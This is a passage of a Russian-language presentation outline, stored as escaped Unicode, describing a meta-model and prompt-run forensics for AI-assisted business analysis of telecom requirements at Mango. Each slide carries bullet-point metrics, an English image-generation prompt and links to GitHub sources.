\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n- \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0432\u0435\u043a\u0442\u043e\u0440 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0435 \u044f\u0434\u0440\u043e.\\n\\n> **\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u044b\u0441\u043b\u044c:** \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c \u0435\u0433\u043e\\n> \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA chaotic cloud of loose paper notes, chat bubbles and voice waveforms\\non the left flows through a precise geometric gate in the centre and\\nleaves on the right as a neat stack of identical, bound specification\\ndocuments, each linked by thin lines back to its source note.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n[\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0411\u043b\u043e\u043a 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f.**\\n\\n- \u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c; \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443\\n  \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0432 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0435.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u043a\u043e\u0439\\n  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n  \u0430\u043d\u0430\u043b\u0438\u0437 \u2192 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u2192 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0441 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0433\u0434\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA relay race of four stylised figures passing a glowing document baton\\nalong a long corridor of server racks and contract folders; at every\\nhand-off a few fragments of the baton drift away into the dark.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0411\u043b\u043e\u043a 2. \u0411\u043e\u043b\u044c.** \u0424\u0430\u043a\u0442\u044b \u0438\u0437 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0432\u0441\u0435\u0445 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`.\\n\\n- 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `M-1 = 0.0`.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c: \u0432 RUN-0015 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u044b \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\\n  NFR (5 \u043c\u0438\u043d, 100 \u043c\u0441, 2 \u0441, 24/7) \u2014 \u0432\u0441\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0441\u0435\u0442\u043a\u0430 \u0438\u0437 17 \u043c\u0438\u043d\u0438\u0430\u0442\u044e\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\\n\u0441\u043e\u0441\u0442\u0430\u0432\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432; \u043d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeventeen specification documents laid out in a grid, each with a\\ndifferent internal skeleton of blocks and sections, none of them\\nmatching; a single empty template frame hovers above, unused.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- \u0421\u0442\u0430\u0440\u0442: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 (stepwise, oneshot, legacy) \u043d\u0430 13\\n  \u0437\u0430\u0434\u0430\u0447. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437\\n  24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043d\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0433\u0435\u0439\u0442\u0430.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435,\\n  \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n- \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0426\u0438\u0442\u0430\u0442\u0430 \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041f\u0440\u043e\u043c\u043f\u0442-only \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u044d\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u044b;\\n> \u043d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0411\u043b\u043e\u043a 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.**\\n\\n- \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: **\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442**.\\n  \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438: 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f; \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n  \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430: \u0432\u0445\u043e\u0434 \u00d7 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u00d7 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u00d7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u00d7 \u0430\u043a\u0442\u043e\u0440 \u2014\\n  \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0433\u0435\u0439\u0442 \u2014 \u0432\u044b\u0445\u043e\u0434 + \u0441\u043b\u0435\u0434.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430: \u043d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 (`MM-1`), \u043d\u0435\u0442 \u0433\u0435\u0439\u0442\u0430 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\\n  (`MM-2`), \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435\u0441\u0451\u0442 \u0441\u043b\u0435\u0434 (`MM-3`), \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0448\u0430\u0433\u0430\\n  (`MM-4`).\\n\\n> **\u0424\u043e\u0440\u043c\u0443\u043b\u0430:** `Artifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor \u2500\u2500\\n> Contract \u2500\u2500\u25b6 Gate \u2500\u2500\u25b6 Artifact_out + Trace`\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0447\u0435\u0442\u044b\u0440\u0451\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u043f\u0438\u0440\u0430\u043c\u0438\u0434\u0430 \u0441 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0440\u0430\u043d\u0438.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nAn exploded architectural diagram of four stacked translucent layers:\\na product layer on top, a process layer, a layer of many small identical\\noperation cubes, and at the bottom a row of finished artefacts; thin\\nvertical threads connect every artefact back up to its operation and\\nproduct.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. 